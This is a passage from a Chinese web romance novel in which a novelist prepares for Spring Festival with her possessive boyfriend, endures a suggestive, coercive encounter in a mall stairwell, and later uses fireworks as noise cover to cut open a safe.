她被转过来,抵在墙壁的一侧。
水漫过她的胸口,在泡沫下是若隐若现的身体曲线。
对视之间,邵柏修的眼中是浓重的欲.色,惹火般燃上他的眉宇。
千瑶挪开了视线,水滴在她的眼尾,脸红得滴血。
吻在她锁骨的曲线,下颌被他的唇蹭着。
低声的吐息在她的脖颈间,轻微的咬痕落下,她倏然闭眼,水下的手撑着浴缸。
“千千,睁眼,看着我好吗?”
她的唇上再次盖下一吻,褪下的衣物挂在浴缸边缘,部分漂浮在水面上。
她睁开眼,眼尾的泪花被撞碎。
翻涌的情.潮席卷而来,迷乱的双眼,逐渐恍惚朦胧。
沉沦在温润的水中,一切都乱了。
-
距离春节越发近了。
在千瑶的坚持下,邵柏修没有对成侦探的侦探社做什么,只是入股了他的产业。
这样能让他在眼皮子底下,和千瑶彻底断了联系。
有了利益的纠葛,成侦探被警告后也不敢轻举妄动了。
雪莉卡那边邵柏修没有计较,不然千瑶又该躲被窝默默哭,很是麻烦。
邵柏修不想给自己找不痛快。
沙发下陷,邵柏修扶着千瑶的腰,让她坐在膝盖上。
“宝宝,到时候给这个电视机换个背景墙吧,或者添点挂饰,喜庆些?”
“嗯。”
邵柏修见她看着电脑,一点也不在意自己,烦躁地啧了一声。
直接盖下她的电脑,扔在另一边的沙发上。
“欸,会摔坏的。”
邵柏修捏着她的脸,“摔坏就再买,跟你说话呢。”
千瑶被捏得脸嘟起,她拍下他的手,扫了一眼电视墙。
硕大的电视,墙面上却很苍白,是得需要点装饰。
“我觉得可以挂个福字,另外两边的话可以再贴点东西,马年的话,可以贴些小马上去。”
她又看向周围的落地窗,继续道:“还有窗花,到时候给门窗都贴上,这样才有过节的气氛。”
千瑶看着他,“你觉得呢?”
“就这么办。”邵柏修扬了扬眉。
他打电话让邹秘书都安排了。
千瑶回复完他的话后,又从他腿上下来,捧着她的电脑在码字。
她要赶进
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度,一定要存稿,后续还要修文。
邵柏修见她又拿着个电脑在敲,他凑过来看她到底在写什么。
“江梨梨给周坤擎开了张支票,说道:‘我睡了你,随便填。’”
“周坤擎填了三块,哟,你这男主还挺便宜。”
邵柏修念出来,笑得不行。
千瑶额头暴起青筋,如刀一般的眼神杀向他。
敲键盘的手已经握紧了拳头,下一秒就可以给他来一个暴扣。
邵柏修笑得身体后仰,靠在沙发靠背上,抹去笑出的眼泪。
想想还是笑得不行,看向千瑶,“没事,写得挺好的。”
“继续努力,争取日更六千,我给你投霸王票。”
他说到一半,又掩唇闷声笑了。
千瑶看他笑,心里一股无名火在烧,她气不过,拧了他手臂一把。
“你不许笑我,我后面还有伏笔的。”
“你这是新书?”
千瑶点头,“《来自巴塞罗那的情书》,现在更了十几章了。”
邵柏修拿过她的电脑,浏览了一下她刚刚写的章节。
千瑶的电脑被夺,皱起眉头想让邵柏修还给她。
他匆匆看了一眼,十几章,大纲很完善,一些情节处理得不错,女主还带系统,确实有伏笔。
千瑶急着要拿回来,她还差几百字写完三千,邵柏修老是捣乱。
她真的很气,先不说今天他不去集团,就要拉着她早起。
说什么早睡早起身体好,陪他一起去跑步锻炼,像她这样的作者不应该老是坐着,一定要运动。
之后又要陪他看电影,这回不是恐怖片了,是一个爱情片。
说什么能给她找灵感,结果他看睡着了,反倒是自己哭得不行。
现在又在看她的稿子,无情地嘲笑她的情节,她实在忍不了。
她一下就怒了,就怒了一下。
怎么会有这么恶劣的人。
邵柏修浏览得差不多,看到她作者后台下的撒花和按爪,觉得新奇。
“你的读者还挺可爱的。”
“那肯定。”
他看着前几章的
作者有话说,手指点着电脑上的文字。
“你最近
作者有话说写得很频繁,还挺活泼的,互动也很多。”
千瑶神色微变,不自在地别过眼去,咽了口唾沫。
【第10章
作者有话说:
斯是陋室,惟吾德馨。很喜欢的一句话。】
【第11章
作者有话说:
年年有余,准备过年啦!】
【第12章
作者有话说:
帮棒棒,想吃棒棒糖了。】
【第13章
作者有话说:
我喜欢小马仔玩偶,刚好今年是马年哦。】
邵柏修看向她,“小马仔玩偶?我等会儿让邹秘书给你送来。”
千瑶没想到她只是随口一提的,他就要去准备。
“欸,之前你说集团有些零部件缺少生产商,那你下周是要出差吗?”千瑶问道。
她之前半夜听见他在阳台打电话,说的好像是这个事。
先前的危机还没解决,邵柏修要出国一趟。
邵柏修点头,“是的,明天去。”
千瑶点头,在想些什么,魂不守舍。
他揉了揉她的发顶,“放心,会在除夕夜前赶回来的。”
他微微一笑,“岁岁平安,否极泰来。我觉得明年一定会是个好年。”
“千千,我真的很期待,除夕我们一起跨年。”
41. 第41张照片
春节前的雨淅淅沥沥,雨的声音很轻地拍打在窗上。
千瑶睡得很熟,她翻了个身,蜷缩在被窝里。
“宝宝,起床了。”
耳边有人在叫她,皱眉又翻了个身,被子堵住耳朵。
邵柏修俯下身,往下拉开一点,让她能够呼吸。
“宝宝,现在已经中午了。”
“我再睡一分钟。”
她带着浓重的鼻音,连眼睛都不舍得睁开。
因为这个天气太好睡了,而且昨晚邵柏修去书房加班,她偷偷在房间里熬了个大夜。
稍微放纵了一下,现在根本起不来半点。
邵柏修揉了揉她的脑袋,她说的一分钟,现在又没反应了。
“咱们去购物中心,千千快起来了,我今天特意挪了时间的。”
一吻盖在她额头。
千瑶被邵柏修抱起来,强制开机。
她带着无比的怨气看向邵柏修,“你不对劲。”
“嗯?”
千瑶看着他的那张脸,眼底稍微有些乌青,眼白血丝蔓延。
“你昨晚睡了几个小时。”
千瑶记得她睡前邵柏修一直没回来。
“一个小时,先不说这些了,来穿鞋。”
“一个小时?!”
千瑶不可置信,他居然这么有精力,甚至比她这个睡了几个小时的都精神。
邵柏修蹲下给她拿粉色的棉鞋,给她穿上。
“你才睡这么点就要去逛街?”千瑶怔了怔。
一定是她被强制开机的方法不对,都出现幻觉了。
邵柏修看她一副震惊的模样,嘴巴都合不上,呆呆看着他。
邵柏修轻笑,“你什么表情。”
“为什么?你还有逛街这个爱好,我以前都没了解过。”
“千千你忘了,我说过要和你去置办年货的,当然要去看看。”
千瑶这才想起来有这回事,邵柏修是和她提过好几次,要一起去买点过年的东西。
除了之前让邹秘书送的那些东西,还有很多是需要备齐的。
邵柏修觉得不够,还得去再买。
千瑶很迅速,洗漱完后就去了商场。
千瑶事先列了一条清单,她仔细对了一遍。
春联、汤圆、礼花炮......
她边低头边盯着这张单子,忽地一只大手夺走了她的单子。
她先是一愣,而后扭头看向他。
“没收了,听我的看到什么买什么。”
千瑶眉头一皱,对他的行为非常不满,“你别闹了,快还给我。”
他对折了两三下,放进口袋里。
“宝宝,我记得的。只不过你计划这么多,还是漏了。”
“哪里漏了?”
千瑶不理解,她喜欢准备,喜欢计划,她事先检查过不可能有疏漏的。
邵柏修见她盯着自己,被她一脸困惑的神情逗笑了。
他拉着千瑶去走入一家服装店,导购立刻笑盈盈地迎了上来。
一见二人气度不凡,身着名贵,便知是个大客户。
邵柏修坐在沙发上,手微搭着沙发边缘,微扬起下巴。
“挑挑,看看有没有喜欢的,你的新年衣服不能没有。”
千瑶站在原地,有些愣神。
原来他说的漏了是这个意思。
导购员很有眼色地带着千瑶去看最新的款式,“小姐,您可以看看这件冬裙,面料很好。”
“还有这件您喜欢可以试穿,都有适合您的码数。”
千瑶看着这些裙子,一时陷入了困难。
导购挑的裙子都很好看,她试了一件,不自在地拉开帘子走出来。
沙发上的邵柏修指尖轻点,双腿交叠。
他坐得歪斜,支着脑袋盯着她,视线上下流连。
薄唇微勾,眼神饶有兴致。
“很不错。”
千瑶看着镜子犹豫,这件衣服有点紧,特别凸出身体曲线。
身后绑着一个淡粉色蝴蝶结,勒着纤细的腰身,衬出妖娆的身姿。
让她看起来更成熟。
邵柏修站起,迈着漫不经心的步子来到她身边,从镜中看她。
他挑起笑意,“好像一扯就掉,就买这一件吧千千。”
千瑶瞬间蹭红,连同烧到了耳根。
她眼神偷偷扫视周围,导购员与他们隔了个距离。
他说的荤话,胆战心惊的却是她。
“你先别说话。”她轻轻拧了他胳膊。
千瑶又试了几件,她试累了,换回了常服,瘫坐在沙发上。
“这件,还有那件。”邵柏修指着她试过的衣服,让导购员包起来。
导购员当即乐开了花,这么多衣服,这该是多少提成。
她笑得合不拢嘴,“先生,您和小姐买了本店的衣服已经达到了二十件以上,咱们有八折的优惠,这就给您算上。”
“真的啊。”千瑶一听到折扣,两眼放光,“谢谢。”
“千千?”
有人叫她。
千瑶扭头,应斯年往她这边走来。
他带着鸭舌帽,黑色口罩,穿着简单的毛绒风衣,武装得严严实实。
自从上次剧播了之后,应斯年顿时爆火。
即便剧只是播了几集,每次的微博讨论数都很高。
他本人也隔三差五上热搜,直接从寂寂无名跻身一线流量明星。
应斯年的演技磨炼得亮眼,既是剧本优秀,也是演员功底深厚,才成就了剧的爆火。
千瑶站起来,露出笑容,“你怎么也在这儿?”
“这是我投资的店,我来看看。”
应斯年看向她身后坐着一个熟悉的人,笑容瞬间淡了许多。
“你和你男朋友来逛街......也是挺巧的。”
“嗯,我们来买年货的。”
千瑶点头回应。
“欸,最近我的新书你看了吗?”她不经意一问。
应斯年对视上她的眼睛,“看了,很有意思。”
“当然了,我是你的读者,你开的文我是一定会去看的,每一章都没有落下。”
“你的作话很有意思,我都看了,你可以多写,我们读者很喜欢看。”
千瑶弯起唇角,兴奋溢于言表。
她不自觉地上前一步,“真的啊,谢谢你。”
久未发声的邵柏修注视着这边,视线冰冷,脸色阴沉。
见到千瑶自如的举动,看到那个男人,他心里窝火。
两人聊得热火朝天,千瑶更是不把自己放在眼里。
“聊够了吗?”
千瑶回视,“你稍等会儿嘛。”
他看着腕表,“一分钟。”
千瑶看他一脸不耐的模样,蹙起眉头。
她只得结束对话。
“那个......”
应斯年看出了她的窘迫,对她温柔微笑。
“今天你来了店里,这些
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衣服就都送给你。”
“这怎么行。”千瑶着急。
“我们是朋友,这只是些衣服而已,算不得什么。”
邵柏修嗤笑,微一挑眉。
“你倒是大方。”
“算是我送给千千的新年礼物吧,千千你就收下,提前祝你新年快乐。”
应斯年这句话是看着千瑶说的,眼神灼热赤诚。
“可这......”
千瑶话还未说完,邵柏修的声音便打断了。
“刷卡。”
他手指夹着一张黑卡。
导购员连忙接过,她看了一眼自家的股东,又看向这位矜贵的顾客。
她顿时忙得汗都下来了。
“原价。”
邵柏修吐出两个字。
“我们boss给您二位免单,如果您硬要付的话,也是可以打八折,哦不,您想打几折都行。”
“废话真他妈多,原价拿去刷。”
千瑶扯了扯他的手臂,他说话过分了。
千瑶道歉,“抱歉,我男朋友脾气不太好,他说话无意的,我替他向您道歉。您就按照原价吧,这样您的提成也多一些。”
“邵柏修,你别为难人家。”
导购员连连称是,看着千瑶的眼神充满感激,她的脸色才稍稍好。
她看向应斯年,得到首肯后即可帮她打包。
保镖提着服装袋,先行将东西拿上车。
千瑶还未和应斯年告别,邵柏修就拽着她手腕走了。
她猝不及防,“我还没说再见,你别这么急。”
“一分钟到了。”
邵柏修走在前面,千瑶跟得踉跄,“你慢点。”
他直接拉着她的手,拐入商场无人的楼梯通道,将她堵在里头。
而后将她按在墙上,吻铺天盖地袭来。
“呜...”
千瑶被吻得喘不过气,他强势地侵入,雪松香紧紧地包裹着她的每一寸。
唇上被轻咬,她呼吸紊乱。
千瑶面色红润,耳朵烧得烫红,眼尾处泛着点点破碎的泪花。
她捶着邵柏修的肩,拼命地推开他。
她不知道邵柏修为什么突然发疯,吻得一次比一次重。
千瑶靠在冰凉的墙面,发丝摩擦着墙壁。
推搡的手被抵在头顶,她喘息得越发急促,心跳得飞快。
这个楼梯间并不安全,商场人很多,万一有人往这边来。
她真的会找个地缝钻进去,再也不想出来。
昏暗的光线透着他欲求不满的眼,眼底的暴戾恍若风暴铺天盖地压下来。
千瑶看出他此刻心情非常不好。
膝盖抵在她腿间,岔入其中,将她控制得死死的。
一切的敏感点被点燃,她的眉眼泛起惑人的春色,带着潋滟的水意。
千瑶紧张极了,安静的楼梯间听见他们的接吻声。
涔涔的水声让人羞耻,殷红的唇畔被咬破。
她疼得抽泣,被全然占据。
千瑶听见门外人的交谈声,她顿时心间一凉,他们就隔着一扇门。
他们驻足在楼梯口的门外,有一下没一下地交谈着,听上去有三四个人。
千瑶冲邵柏修摇头,然而他并没有放过她。
他反而松开了她的手,揽着她的腰,逐渐往上探入她的衣摆。
缓慢地揉动。
“唔——”
骤然的刺激,她直接软了下来。
42. 第42张照片
一门之隔,只要一推就能看到里头的光景。
千瑶心上猛地一缩,瘫软在他怀中。
手上的动作不停,她脸颊瞬间发烫,她低声呜咽。
手指攥着他的衬衫,肩膀的衣料被抓得褶皱。
一道道的酥麻感颠覆,千瑶就像踩在顶端云间,被人操控得迷乱。
吻痕留在她的脖颈间,犹如绽放的红梅。
千瑶今天没有穿高领的衣服,根本遮不住脖颈的春光。
邵柏修侵略的眼神看着她,在她的唇上点燃了□□,他进一步地深入,让千瑶无法招架。
他掐着她的软腰,将她离自己更近,唇齿难耐的厮磨,就像是在发泄刚才的怒气。
千瑶感受到他对应斯年有极其大的恶意,他受不了自己跟应斯年接触。
亦如现在,他就是在惩罚。
千瑶湿漉漉的眼望着他,朦胧的目光中,忽明忽暗的楼道灯光。
她的发丝湿了,灼热在她的体内燃烧。
她抓着他的手,让他不要再动。
千瑶紧张地听着门口人交谈,她不顾什么内容,理智被逐渐的沦陷。
她祈求让他别在这儿,“哥哥,别......”
邵柏修抬眼看了一眼门,视线又落回到她身上。
他挑起一抹恶劣的笑意,“和应斯年聊这么开心,和我待一会儿就不行?”
“宝宝,可不能区别对待。”
“不是这样的......”
千瑶想要跟他解释,他却再次俯身而上,这一次吻得更加急。
冰凉的墙面抵着她的手,头顶的手压着她的手腕。
邵柏修薄唇盖在她的额间,低声的喘息喷薄。
湿湿热热的吻下落,停留在她的唇上。浑身酥酥麻麻,从唇间的灭顶刺激涌起,眼尾瞬间泛红。
晶莹的津液从她的嘴角蔓延,挑起她的情丝,搅弄得凌乱。
门外的交谈声倏然停止。
“什么声音?”
“你们听到了吗?”
千瑶精神瞬间紧绷,指尖的按压在她的肌肤上恍如电流流过,理智在一寸寸崩塌。
邵柏修松开了手,她捂着唇,没敢发出声音。
耳朵却警惕地听着外头,一双眉毛紧紧蹙起,生怕人家直接进来。
邵柏修看她一脸小心翼翼,低声轻笑。
他拿下她的手,放在自己肩头。
“嘘——别发出声音。”
他直接将千瑶抱了起来,抵在墙边,靠得比门更加近。
她双手环抱他的脖颈,才不让自己滑落。
千瑶害怕了,这样大胆的行为还是在公众场合。
邵柏修不介意,可是她过不了。
“哥,哥我错了。”
领口的衣服敞开,露出胜雪的肌肤。
一颗颗慢条斯理地被解开,指尖轻轻点在她的脖颈上,抚摸着刚才咬下的红痕。
“千千,你和他的一分钟可真长。”
邵柏修注视着她紧张神情,对她的解释和道歉不悦。
他靠在她的脖颈边缘,喷薄而出的热气让人掀起战粟。
“你只有在求我的时候才叫我哥哥,千千,你因为他和我生分了。”
他的视线火热,千瑶不语,挪开视线。
邵柏修捏着她的下颌,强迫她与自己对视。
“你该学会适应我,而不是想着其他人。”
千瑶捂着自己的领口,暖玉肌肤染上绯红的艳丽色彩。顶着灼热的视线,她的手被拉开。
他冰凉的指尖触碰着她的脖颈,划过她的锁骨,逐渐往下,她霎时就倒在他的身上。
身体弓成美丽的曲线,趴伏在他的肩头低喘。
被挤压而揉捏的战粟,让千瑶呼吸急促。
“唔——”
“别,别揉了。”她气息失衡,眼泪湿了他的肩头。
她被欺负狠了,直接咬了他下巴一口。
邵柏修抚摸着她的后颈,纵容她对自己的行为。
“咬得太轻了,印记不明显。”
千瑶被吻上了耳尖,绯红的耳朵和白皙的肌肤形成鲜明对比,她浑身燥热被烈火引燃。
听他的荤话,一字一句灼烧着她的理智。
“宝宝,你一紧张就很可爱。”
“亲我好吗?主动点。”
她被弄得一片潮湿,眼尾潮湿,他还在说,还在继续。
“奇怪,难道听错了?”
“应该是猫在叫,刚刚衣服料子还可以......”
“商场还有流浪猫?我们再去那儿看看,好像有折扣。”
几人的谈话一字不落地落入二人耳中,邵柏修低声轻笑,故意在她耳边厮磨。
“小猫说的是你,还会咬人。”
千瑶顾不上听他在说什么,注意力全在他的手上,她的喘息灼热而急促,点点薄汗染湿了额发。
她无力地去推他的手臂,却被他的手反手覆盖上。
由他的手再次陷入沉沦,千瑶的泪花沾在睫毛上,对他摇头,“哥哥,我们出去。”
虽然那些人走了,但是难保不会有人再次过来。
千瑶不喜欢这样,但是邵柏修却很享受,喜欢在楼道里看她红透的脸,一声声地叫他哥哥。
顺从他,眼里只有他,只会听他的话。
“宝宝,你吻我,我们就出去。”
邵柏修抚摸着她的唇角,哄诱她,让她主动靠近,主动接受他。
千瑶被放下来,靠在墙角。
她微一仰头,就能看见他炙热的双眼。
楼道里昏暗的光打在他的眉骨,渡上了一层暖光,眼底的热烈直直锁定她。
千瑶知道她如果不这样,估计就要被耗上几个小时。
她心一横,闭眼踮起脚尖,落下一吻。
但是只亲到了他棱角分明的下颌,她睁开眼触感不同,稍稍愣住。
邵柏修弯起唇角,指腹按着她的红唇。
“宝宝故意磨人的。”
他的手揽过她的腰迹,在她的唇上覆盖而下。
湿润的吻撬开她的唇,舔舐着她的贝齿。
凉风吹拂,指尖划过她的腰线,纤细的腰刹那间便软了。
“呜...”
陌生的刺激惹火,她彻底无法逃离,被加深的吻比刚才更热烈。
她受不了这种感觉,眉毛紧紧蹙起,脸颊红得滴血。
“不要在这儿。”
千瑶紧张又羞涩,指尖的触感宛若点在了心上,踩在云端里。
让她整个人晕晕乎乎。
邵柏修太坏了,故意这么说,看她的反应。
可这一次,她实在受不住,那处的厮磨扰得她浑身发热。
她的腰很酸,腿间被膝盖岔开合不拢。
更加方便他的行为,把她禁锢在角落,对她做出那种事情。
几分钟后,楼梯间的门被打开。
邵柏修搂着千瑶出来,她的衣服被扣得整整齐齐,衣衫完好。
只是她的脸颊不正常的红得滴血,脖颈处的红色遍布,一点点仿若绽放的梅花,点缀在脖颈间。
眼尾也红得湿润,脸颊很烫,泛着不正常的红晕。
腰间被人揽着,千瑶不自在
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地整理领口,可是怎么都遮不住。
她没有戴围巾,暧昧的痕迹就这样袒露出来。
千瑶走得很慢,走路姿势不正常,腿间酸得厉害。
她一想到刚才,她就燥红了脸,恨不得离开这里。
邵柏修嘴角挂着浅淡的笑,眼神餍足,面容轻松。
他搭在她腰间的手拉着她,与她十指紧扣。
“还逛吗?还想买什么?”邵柏修轻声问。
千瑶摇头,经过刚刚楼道里的事情,她只想离开。
不想被人看到她身上的暧昧痕迹,那种被人注视的感觉非常不好。
“那咱们就回去。”邵柏修顺着她。
不过看到她的手一直遮着脖子,他直接拿下她的手。
他的声音温柔,“宝宝再遮的话,我们就在这儿接吻。”
“让他们看。”
千瑶一听,没敢有任何的动作。
她知道邵柏修是能做出这些事情的。
邵柏修见她不再遮掩,心情愉悦了几分。
“宝宝真乖。”
也许是因为二人的样貌惹人注意,周围的视线还是往他们这边看来。
不可避免地将目光停留在千瑶身上,那处的红惹眼,她往邵柏修的怀里缩了缩。
以此来掩饰自己的不安。
回到家,邵柏修接了个电话。
他坐在花园的长椅,双腿交叠,微微侧头时,点点碎发随风飘动。
夜幕降临,夜光灯线落在他阴沉的脸。
年货已经被保镖都搬进了家里,千瑶在仔细地清点。
她时不时望向落地窗外,见到他的表情很不好,应该是遇到了烦心事。
邵柏修说明天他出发去意大利,处理工厂的事情。
千瑶看了一眼日历,今天是腊月二十八。
距离除夕大年三十还有两天。
千瑶刚拿出一副对联,在分析上下联怎么贴,邵柏修就已经打完了电话。
他走过来,直接把她揽入怀中,沙发下陷。
千瑶跌落他怀中,手中的对联都还没放下。
他垂首在她的颈侧,“宝宝,我等会就走了。”
邵柏修的声音听上去很疲惫,他吮吸着她的发丝间的梨花香,感觉到片刻宁静。
千瑶攥着对联的手一紧,肩头的脑袋沉沉。
“这么急吗?”
他双手环抱着她的腰,把她圈在怀中。
邵柏修说话时很轻柔,帮她整理略微凌乱的刘海。见到千瑶眼睛盯着自己,他笑得柔和。
“舍不得我?”
“那你是什么时候回来?”她顿了顿。
邵柏修看她皱起的眉毛,指尖抚平了她的眉。
“我之前和你说过了,除夕当天一定回来。”
千瑶垂下眼帘,将手中的对联对折。
她不动声色问道:“会提前回来吗?”
邵柏修沉默了一会儿。
“不会。”
“真的不能提前吗?”
“生产链上的问题,需要时间对接,所以还是不能。”
听到他的回应,千瑶抿了抿唇。
“除夕当天回的话,是下午吗?”
她问得很仔细,注视着邵柏修,在等他的回答。
“是的,上午还得处理一些事情,下午的飞机。”
他握着千瑶的手,“宝宝等我,我会尽快回来的。”
“能赶得上晚上的年夜饭,零点和你一起跨年。”
千瑶挨在他的胸口,“没事的,我等你回来跨年。”
“邵柏修,我等你回来。”
43. 第43张照片
邵柏修当夜就回卧室收拾行李,千瑶给他搭了几件西装。
夜里下了点小雨,寒潮来袭,天气降温了。
劳斯莱斯停在门前,邵柏修在风中拥吻千瑶。
雨打着路灯的光线,洒落下来,融进了夜色里。
漫长的夜添了几分寂寥,风萧肃,吹得他的围巾飘动。
这一条围巾是今天千瑶在商场买的,红色的很喜庆,毛绒的手工编织。
邵柏修起初是拒绝的,因为太红了,他以前的装束从未有过这种艳丽的颜色。
千瑶却很坚持,说红色才喜庆,而且他给她买衣服,这条围巾是她自己买给邵柏修的。
希望他也能收下,她的这份新年礼物。
围巾很暖和,邵柏修今夜就戴上了,呼出的热气散着白雾。
今天过后,京市将全面降温。
“意大利那边也很冷,带的衣服不多,你注意保暖。”
千瑶站在门口,帮他拉行李。
赵叔接过她手中的行李箱,放入后备箱,知趣地在车上候着。
“千千,我待得不长,没必要带这么多。你在家里等我,窗花可以让王妈和你一起贴。”
“那个小马的装饰,可以放在电视机旁边,挺好看的。”
“对联的话,仄起平收,别贴反了。”邵柏修嘱咐道。
千瑶不喜欢他的絮絮叨叨,他刚刚还不是这样的,一到临别就开始了。
千瑶皱眉,“你觉得我一个文字工作者会贴反吗?”
邵柏修看着她,短暂地沉默了一瞬。
“刚刚......你在客厅看了五分钟对联。”
千瑶蹭地一下红了脸,拧了一下他胳膊。
“你不许说话了。”
邵柏修被她拧也不生气,揽抱住她的腰,垂首在她的颈侧。
“宝宝,我真的离开了。”
他的语气变得黏人,“要想我,我也想你的。”
“给我打电话,如果我在忙接不到,会及时回拨过去的。”
千瑶靠在他的怀中,听着他的话语满是对她的不舍。
她鬼使神差地回抱他,短暂的一分钟,二人相拥。
雨水淅淅沥沥地倾斜而下,雨幕之间,温度逐渐地上升。
这点拥抱的温度,在这个雨夜弥足珍贵。
千瑶收敛情绪,“好,路上小心。”
佣人撑伞,打开车门。
邵柏修上车后,车窗褪下一半。
光线穿过层层雨幕,照在他棱角分明的侧颜。
他微微扬起唇角,“等我回来。”
千瑶站在门口,风夹杂着雨吹得凌冽,发丝也微微打湿了。
她点点头,车开动了。
车轮缓缓驶过,即将开出门。
千瑶忽然上前了几步,她张了张口。
“邵柏修,分别后一路顺风,愿你事事顺利。”
她的声音碎在风里,雨的声音打着车台,雨水的声音很大。
邵柏修听不清她说的什么,不过他猜也是告别的话。
他的小兔,还是会念着他的。
-
农历,腊月二十九。
千瑶一大早就在码字,她一口气将自己的存稿发了十章。
评论区下一片狂欢,突然之间的加更让读者猝不及防。
每一章都有她的作话,她的更新频次也变了,日更三千,变成加更了六千,时常万字更新。
临近年关,她也多更了些。
千瑶一整天都在写,不知不觉地到了日落时分。
她伸了个懒腰,下楼时看到王妈在忙碌着。
千瑶凑个脑袋去看,王妈买了一条大鱼,还有虾类,大闸蟹等等海鲜。
看着就新鲜。
“今晚吃海鲜?”
王妈转身,见到千瑶小姐。她会心一笑,“不是,这是明日的食材,我提前让人去市场买了。”
“这只龙虾是空运来的,今天刚到,先生特意嘱咐了明天的年夜饭做给您吃。”
千瑶看着那一大只龙虾,她怔了怔。
邵柏修记得她说过的话。
她之前逛商场的时候,随口一提的龙虾,他今天就送到了。
“其实......随便做做就好了。”她说得魂不守舍。
王妈乐呵呵,把食材提前规整好。
点了一下菜,还是不够的。她听见小姐这么说,回道:“这怎么行,年夜饭肯定是要做得十全十美。”
“先生今晨一直在说这件事,嘱咐我如何做,放心都是小姐您爱吃的菜。”
千瑶懵了会儿,“邵柏修早上打给你?”
“对的,先生嘱咐完之后,原本我想要把电话给您。但是他知道您在工作,就不打扰您了。”
“哦...哦这样啊。”
千瑶坐回了沙发,呆愣地看着眼前的电视机。
电视机的新闻在播着,她看着屏幕,眼前忽然就模糊了。
泪水酸涩地翻涌在眼眶,情绪堆砌在心里头。
她不知道自己为什么会这么痛苦,这么难受,这么挣扎。
明明已经下好了决定的。
已经想要.....
她双手捂着脸,头发垂下遮住她沾湿的面容,泪水从指缝间流出。
王妈刚从厨房出来,就见到小姐在低声呜咽。
她彻底慌了,急忙来到小姐身边,关心道:“您怎么了?先别哭。”
王妈抽了好几张纸张,递给她。
千瑶擦了擦眼泪,眼尾还是泛红的。
“谢谢你王妈,我只是看到新闻上的一些事迹,有点难过。”
王妈看着新闻早就过去,刚才还真的吓到她了,以为发生了什么重要的事情,惹得小姐伤心了。
“王妈,我想要烟花。”
“烟花?”
千瑶点头,“很多烟花,鞭炮,那种大型的。过年放,这样才有过节的氛围。”
王妈安抚好她后,应下她的请求,立刻着人去安排。
月夜万籁俱寂,屋外已经响起了别户人家的鞭炮声。
她从窗台看到烟花,火树银花,划过了整个漆黑的夜幕。
灿若烟火,坠如流星。
美丽而绚烂,年味越来越浓了。
她看着烟花,桌旁放着手机,她忽然很想给邵柏修打去一个电话。
也不知道说什么,就是想打。
千瑶拨号过去,电话声嘟嘟了好几声。
无人接听。
她又打了几次,微信电话、手机电话。
每个都打了一遍,无人接听。
千瑶放弃了,邵柏修一定在忙,她现在打过去也是很冒昧。
她放下手机,看着天上的烟火,真的很美。
她拍了一张照片,给邵柏修发了过去。
零点一过,今天就是除夕了。
【Q:我看到了很好看的烟花,很漂亮。邵柏修,除夕快乐。】
千瑶发完之后,又呆呆地看了聊天框许久。
她今夜没有睡意,黎明的光亮起,她就这么呆了一个晚上。
千瑶今晨洗了个头发,她脑子里梳理了一遍情节。
今天她要更新,而且要连续更两章,时间在今天中午前。
她的存稿都发完了,昨天她给读者的承诺,她要做到。
而且她也必须要让该看到的人看到。
千瑶写得很
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快,一眨眼中午的时光就过去了。
她离开书房,下楼来到客厅时,就看到王妈还有佣人们忙得不可开交。
千瑶准备了很多红包,双手递给她们,还说了些吉利话。
“小姐,春联就在那儿放着,您现在要贴吗?”
千瑶看了一眼桌上的东西,耳边是邵柏修嘱咐的话语。
她摇头,不贴了。
“哦哦,那.....那您先忙,我再去看看菜。”
“等等王妈,你让她们回去过年吧。”她看向忙碌的佣人们,主动提道。
“可是先生说了,做完菜傍晚六七点就可以回去的,而且他还给每人包了个大红包,您不必介意咱们在这儿忙的。”
千瑶扫了一眼桌上的菜,五六碟,锅里还有没煮完的鱼。
她摇头,“听我的,让她们提前回家过年吧,有这些就够了。”
王妈挨不过千瑶的强制要求,还是让佣人们都回去了。
不过王妈坚持要陪千瑶,她一个人待在房子里怪冷清的。
门口处的保镖不会撤,千瑶是知道的。
虽然她很不喜欢他们的监视,但她还是准备了很多红包给他们,让每个人都能领到。
千瑶看向王妈,“昨天买的烟花呢?”
“都在负一楼杂货间里。”
“辛苦您帮我取来。”
王妈往仓库去,千瑶看她的身影消失在视线中。
她迅速从花园穿过,走过花园的小路,直通后头的花园仓库。
上一回成侦探来的时候,她记得这里有一个小型的家用切割机。
千瑶按照记忆,翻着柜子,找到了切割机。
用围巾包裹着,她穿着宽敞的大衣,把它放进怀里,避开了摄像头。
千瑶上楼,把包裹的切割机放在床上。
她轻微喘着气,额头上已经布满了细密的汗珠。
电闸在一楼,走廊的尽头左上角。
千瑶快步走去,直接拉了电闸。天光明亮,不需要开灯,她的行为不会引起别人的注意。
她做完后,急忙赶去花园。
就在这时,王妈刚从电梯里出来,手头上已经有几箱的烟花。
还有一些直接堆在了院子的一个角落。
“直接摆出来,摆成一排这样更好。”
“我想现在就点了。”
王妈刚放下烟花,她直接愣住了,“啊?小姐,可现在是白天,看的效果不会特别好。”
“一般零点的烟花才是最好看的,而且那时候人人都在放,很喜庆热闹。”
“我现在就要看,麻烦您了。”千瑶双手合十,很是期待。
王妈看她祈求的眼神,心霎时软成了一片,什么要求她都答应。
千瑶把好几桶烟花都摆出来,“都点了吧。”
“我去二楼看,您帮我在下边都点燃了。”
王妈一口应下。
千瑶上到卧室,刚好烟花声簌簌而起,烟火在天空中绽放。
烟花声极大,响彻天际。
她直接将切割机拿出来,这是个电池款的,已经满电了。
千瑶半蹲下来,迅速将切割机开机,往保险箱的横截面开始切割。
切割声被烟花的声音掩盖,可是速度太慢了。
功率有点低,她切割了几分钟,汗就开始出来,湿透了内衬衣。
保险柜切割见了缝,但也只是磨破了点开口。
千瑶急得满头大汗,她时不时地看向窗外的烟花,心跳得比烟花声还快。
“小姐,您、您......”
千瑶听到声音,猛然回头。
王妈站在门口边,指着她手里的切割机。
44. 第44张照片
千瑶被吓得愣神,脚下生根,僵硬在原地,在硕大的烟花声中能听见自己的心跳声。
她手中切割机还开着,下意识地想将手里的东西藏起来,可是她根本无法掩饰自己的行为。
千瑶嘴唇抿成一条线,她没有停下切割的动作。
“王妈,对不起。”
切割机的声音在响,保险柜已经切开了一大口子,但是仍旧不够大,手伸不进去。
王妈抓着门框边缘,她看到这一幕,不知道为什么眼泪就想流。
手中的电话,迟迟拨不下去。
见到小姐的那一刻,她迟疑了。
王妈回头看了房内一眼,最终回到刚才的花园里。
千瑶听见烟花声结束了,可是自己还没能完全锯开。
她的心顿时就凉了一半,可下一瞬,鞭炮声噼里啪啦地响起。
千瑶拿着切割机的手一顿,是王妈放的,她在帮自己。
